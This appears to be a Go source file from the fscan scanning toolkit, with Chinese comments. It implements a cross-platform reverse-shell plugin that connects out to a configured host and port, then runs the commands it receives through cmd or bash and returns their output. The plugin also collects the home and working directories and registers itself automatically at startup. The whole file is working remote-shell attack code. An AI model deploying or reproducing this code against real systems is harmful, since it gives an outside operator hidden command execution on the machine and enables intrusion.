mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
332 lines
8.5 KiB
Go
332 lines
8.5 KiB
Go
package reverseshell
|
||
|
||
import (
|
||
"bufio"
|
||
"context"
|
||
"fmt"
|
||
"io"
|
||
"net"
|
||
"os"
|
||
"os/exec"
|
||
"runtime"
|
||
"strconv"
|
||
"strings"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"github.com/shadow1ng/fscan/plugins/local"
|
||
)
|
||
|
||
// ReverseShellPlugin 反弹Shell插件
|
||
type ReverseShellPlugin struct {
|
||
*local.BaseLocalPlugin
|
||
connector *ReverseShellConnector
|
||
target string // 目标地址:端口
|
||
}
|
||
|
||
// ReverseShellConnector 反弹Shell连接器
|
||
type ReverseShellConnector struct {
|
||
*local.BaseLocalConnector
|
||
host string
|
||
port int
|
||
}
|
||
|
||
// ReverseShellConnection 反弹Shell连接对象
|
||
type ReverseShellConnection struct {
|
||
*local.LocalConnection
|
||
Target string
|
||
Host string
|
||
Port int
|
||
}
|
||
|
||
// NewReverseShellPlugin 创建反弹Shell插件
|
||
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||
// 从全局参数获取反弹Shell目标
|
||
target := common.ReverseShellTarget
|
||
if target == "" {
|
||
// 如果没有指定目标,使用默认值
|
||
target = "127.0.0.1:4444"
|
||
}
|
||
|
||
metadata := &base.PluginMetadata{
|
||
Name: "reverseshell",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||
Category: "local",
|
||
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
|
||
Protocols: []string{"local"},
|
||
}
|
||
|
||
connector := NewReverseShellConnector(target)
|
||
plugin := &ReverseShellPlugin{
|
||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||
connector: connector,
|
||
target: target,
|
||
}
|
||
|
||
// 设置支持的平台
|
||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||
// 不需要特殊权限
|
||
plugin.SetRequiresPrivileges(false)
|
||
|
||
return plugin
|
||
}
|
||
|
||
// NewReverseShellConnector 创建反弹Shell连接器
|
||
func NewReverseShellConnector(target string) *ReverseShellConnector {
|
||
baseConnector, _ := local.NewBaseLocalConnector()
|
||
|
||
host, portStr, err := net.SplitHostPort(target)
|
||
if err != nil {
|
||
host = target
|
||
portStr = "4444" // 默认端口
|
||
}
|
||
|
||
port, err := strconv.Atoi(portStr)
|
||
if err != nil {
|
||
port = 4444 // 默认端口
|
||
}
|
||
|
||
return &ReverseShellConnector{
|
||
BaseLocalConnector: baseConnector,
|
||
host: host,
|
||
port: port,
|
||
}
|
||
}
|
||
|
||
// Connect 建立反弹Shell连接
|
||
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||
// 先建立基础本地连接
|
||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
baseConn := localConn.(*local.LocalConnection)
|
||
|
||
// 跳过连通性测试,避免抢占反弹shell连接通道
|
||
// 反弹shell会在实际使用时进行连接,这里不需要预先测试
|
||
|
||
reverseShellConn := &ReverseShellConnection{
|
||
LocalConnection: baseConn,
|
||
Target: fmt.Sprintf("%s:%d", c.host, c.port),
|
||
Host: c.host,
|
||
Port: c.port,
|
||
}
|
||
|
||
return reverseShellConn, nil
|
||
}
|
||
|
||
// Close 关闭反弹Shell连接
|
||
func (c *ReverseShellConnector) Close(conn interface{}) error {
|
||
return c.BaseLocalConnector.Close(conn)
|
||
}
|
||
|
||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
return p.ScanLocal(ctx, info)
|
||
}
|
||
|
||
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
|
||
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
common.LogBase("启动Go原生反弹Shell...")
|
||
|
||
// 建立连接
|
||
conn, err := p.connector.Connect(ctx, info)
|
||
if err != nil {
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("连接失败: %v", err),
|
||
}, nil
|
||
}
|
||
defer p.connector.Close(conn)
|
||
|
||
reverseShellConn := conn.(*ReverseShellConnection)
|
||
|
||
// 启动反弹shell
|
||
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
|
||
|
||
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: err,
|
||
}, nil
|
||
}
|
||
|
||
result := &base.ScanResult{
|
||
Success: true,
|
||
Service: "ReverseShell",
|
||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
|
||
Extra: map[string]interface{}{
|
||
"target": reverseShellConn.Target,
|
||
"platform": runtime.GOOS,
|
||
"implementation": "go_native",
|
||
"status": "completed",
|
||
},
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
|
||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
|
||
// 连接到目标
|
||
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
|
||
if err != nil {
|
||
return fmt.Errorf("连接失败: %v", err)
|
||
}
|
||
defer conn.Close()
|
||
|
||
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
|
||
|
||
// 设置反弹Shell为活跃状态,告诉主程序保持运行
|
||
common.ReverseShellActive = true
|
||
defer func() {
|
||
// 确保退出时清除活跃状态
|
||
common.ReverseShellActive = false
|
||
}()
|
||
|
||
// 发送欢迎消息
|
||
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
||
conn.Write([]byte(welcomeMsg))
|
||
conn.Write([]byte("Type 'exit' to quit\n"))
|
||
|
||
// 创建读取器
|
||
reader := bufio.NewReader(conn)
|
||
|
||
for {
|
||
// 检查上下文取消
|
||
select {
|
||
case <-ctx.Done():
|
||
conn.Write([]byte("Shell session terminated by context\n"))
|
||
return ctx.Err()
|
||
default:
|
||
}
|
||
|
||
// 发送提示符
|
||
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||
conn.Write([]byte(prompt))
|
||
|
||
// 读取命令
|
||
cmdLine, err := reader.ReadString('\n')
|
||
if err != nil {
|
||
if err == io.EOF {
|
||
common.LogBase("反弹Shell连接关闭")
|
||
return nil
|
||
}
|
||
return fmt.Errorf("读取命令错误: %v", err)
|
||
}
|
||
|
||
// 清理命令
|
||
cmdLine = strings.TrimSpace(cmdLine)
|
||
if cmdLine == "" {
|
||
continue
|
||
}
|
||
|
||
// 检查退出命令
|
||
if cmdLine == "exit" {
|
||
conn.Write([]byte("Goodbye!\n"))
|
||
return nil
|
||
}
|
||
|
||
// 执行命令
|
||
result := p.executeCommand(cmdLine)
|
||
|
||
// 发送结果
|
||
conn.Write([]byte(result + "\n"))
|
||
}
|
||
}
|
||
|
||
// executeCommand 执行系统命令
|
||
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||
var cmd *exec.Cmd
|
||
|
||
// 根据操作系统选择命令解释器
|
||
switch runtime.GOOS {
|
||
case "windows":
|
||
cmd = exec.Command("cmd", "/C", cmdLine)
|
||
case "linux", "darwin":
|
||
cmd = exec.Command("bash", "-c", cmdLine)
|
||
default:
|
||
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||
}
|
||
|
||
// 执行命令并获取输出
|
||
output, err := cmd.CombinedOutput()
|
||
if err != nil {
|
||
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||
}
|
||
|
||
return string(output)
|
||
}
|
||
|
||
// getCurrentDir 获取当前目录
|
||
func getCurrentDir() string {
|
||
dir, err := os.Getwd()
|
||
if err != nil {
|
||
return "unknown"
|
||
}
|
||
return dir
|
||
}
|
||
|
||
// GetLocalData 获取反弹Shell本地数据
|
||
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||
data := make(map[string]interface{})
|
||
|
||
// 获取系统信息
|
||
data["plugin_type"] = "reverseshell"
|
||
data["platform"] = runtime.GOOS
|
||
data["arch"] = runtime.GOARCH
|
||
data["target"] = p.target
|
||
data["implementation"] = "go_native"
|
||
|
||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||
data["home_dir"] = homeDir
|
||
}
|
||
|
||
if workDir, err := os.Getwd(); err == nil {
|
||
data["work_dir"] = workDir
|
||
}
|
||
|
||
return data, nil
|
||
}
|
||
|
||
// GetInfo 获取插件信息
|
||
func (p *ReverseShellPlugin) GetInfo() string {
|
||
var info strings.Builder
|
||
|
||
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
|
||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||
|
||
return info.String()
|
||
}
|
||
|
||
// RegisterReverseShellPlugin 注册反弹Shell插件
|
||
func RegisterReverseShellPlugin() {
|
||
factory := base.NewSimplePluginFactory(
|
||
&base.PluginMetadata{
|
||
Name: "reverseshell",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||
Category: "local",
|
||
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
|
||
Protocols: []string{"local"},
|
||
},
|
||
func() base.Plugin {
|
||
return NewReverseShellPlugin()
|
||
},
|
||
)
|
||
|
||
base.GlobalPluginRegistry.Register("reverseshell", factory)
|
||
}
|
||
|
||
// init 插件注册函数
|
||
func init() {
|
||
RegisterReverseShellPlugin()
|
||
} |